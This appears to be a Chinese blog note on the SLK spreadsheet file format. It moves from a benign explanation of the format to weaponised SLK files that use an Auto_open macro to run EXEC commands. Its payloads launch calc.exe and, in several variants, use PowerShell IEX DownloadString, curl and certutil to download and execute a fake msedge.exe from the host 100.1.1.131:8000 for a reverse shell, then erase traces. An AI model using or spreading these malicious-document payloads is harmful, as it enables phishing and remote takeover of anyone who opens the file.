SLK
2024年7月11日大约 4 分钟
SLK
概述
如何在没有 Excel 的情况下打开 SLK 文件 (filext.com)
SLK 文件大多属于 Microsoft 的 Excel。 SLK 文件是符号链接文件,它是由 Microsoft 开发并主要由 Excel 使用的格式。该文件格式仅使用可显示的 ANSI 字符来存储数据,并允许其他应用程序轻松处理其内容。
在2007年XLSX引入之前且XLS文件是私有文件格式的时候,SLK是XLS的开放格式替代品,对于最终用户来说,SLK文件看起来像一个Excel文档。
- 主要用途: SLK文件格式主要用于程序之间(如微软 Excel 和 Lotus 1-2-3)传输数据。由于这些文件仅使用可显示的 ANSI 字符,因此程序和用户都很容易解释它们,并且可以使用简单的文本编辑器(例如记事本)查看或修改。
- 预览与编辑软件: 虽然该格式主要由 Microsoft Excel 使用,但其他程序(例如 OpenOffice、LibreOffice 和 Gnumeric)也支持该文件格式的变体。
- 文件结构:SLK 文件中的数据以纯文本形式存储,并以分号分隔的值进行组织。要在单元格中包含文字分号,可以使用前面的分号对其进行转义,这将导致字符被视为单元格的一部分,而不是文件结构的一部分。
例如:
ID;P
C;X1;Y1;K"Header1"
C;X2;Y1;K"Header2"
C;X1;Y2;K"Data1"
C;X2;Y2;K"Data2"
E
ID;P
是文件的标识符和参数C;X1;Y1;K"Header1"
表示第1列第1行的单元格内容是"Header1"C
-Cell
表示这是一行单元格数据X1
表示单元格所在的列, 第 1 列Y1
表示单元格所在的行, 第 1 行K"Header1"
:表示单元格的内容,K
是 "Konstant"(常量)的缩写,"Header1"
是该单元格的实际内容,即文字 "Header1"
C;X2;Y1;K"Header2"
表示第2列第1行的单元格内容是"Header2"C;X1;Y2;K"Data1"
表示第1列第2行的单元格内容是"Data1"C;X2;Y2;K"Data2"
表示第2列第2行的单元格内容是"Data2"E
表示文件结束
调起计算器
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("calc.exe")
C;X1;Y102;K0;EHALT()
E
NN;NAuto_open;ER101C1;KOut Flank;F
- NN:名称定义行,定义一个名称及其范围
- N:后面的
Auto_open
表示名称。此处定义了一个名称Auto_open
- ER101C1:范围定义,表示范围从
R101C1
开始,即第101行第1列。前面的E
可能表示扩展的范围定义 - KOut Flank:为名称
Auto_open
赋值,值为Out Flank
- F:标志,可能用于特定标识或格式设置
C;X1;Y101;K0;EEXEC("calc.exe")
- K0:表示单元格的内容,这里是数值
0
- EEXEC("calc.exe"):执行命令
EXEC("calc.exe")
,表示在读取和执行此SLK文件时将运行calc.exe
,即打开计算器程序
- K0:表示单元格的内容,这里是数值
C;X1;Y102;K0;EHALT()
- K0:表示单元格的内容,这里是数值
0
。 - EHALT():执行命令
HALT()
,表示停止或结束操作。这通常用于结束脚本或宏的执行。
反弹Shell
http://100.1.1.131:8000/powershell_curl_reverse_shell.txt
:
curl http://100.1.1.131:8000/download/msedge.exe -o msedge.exe;./msedge.exe
slk_reverse_shell.slk
:
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("powershell.exe -nop -c IEX((new-object Net.WebClient).DownloadString('http://100.1.1.131:8000/download/powershell_curl_reverse_shell.txt'))")
C;X1;Y102;K0;EHALT()
E
PS: 无法成功执行此命令, 原因未知
PS: 命令替换成
powershell.exe -nop -c IEX('calc.exe')
是可以正常弹出计算器的
shell.cmd
certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe delete
slk_reverse_shell_shell_cmd_file_win1252.slk
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:/temp/shell.cmd")
C;X1;Y102;K0;EHALT()
E
slk_reverse_shell_certutil_win1252.slk
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("cmd.exe /c certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://100.1.1.131:8000/download/msedge.exe delete")
C;X1;Y102;K0;EHALT()
E
参考材料
- Macos Office攻防 | YoungRichOG
- 关于文档钓鱼的学习 | 藏青's BLOG (cangqingzhe.github.io)
- 【技术分享】如何绕过受保护视图发起钓鱼攻击-安全客 - 安全资讯平台 (anquanke.com)
- 安天引擎助力全线产品精准检测SLK格式威胁 (antiy.com)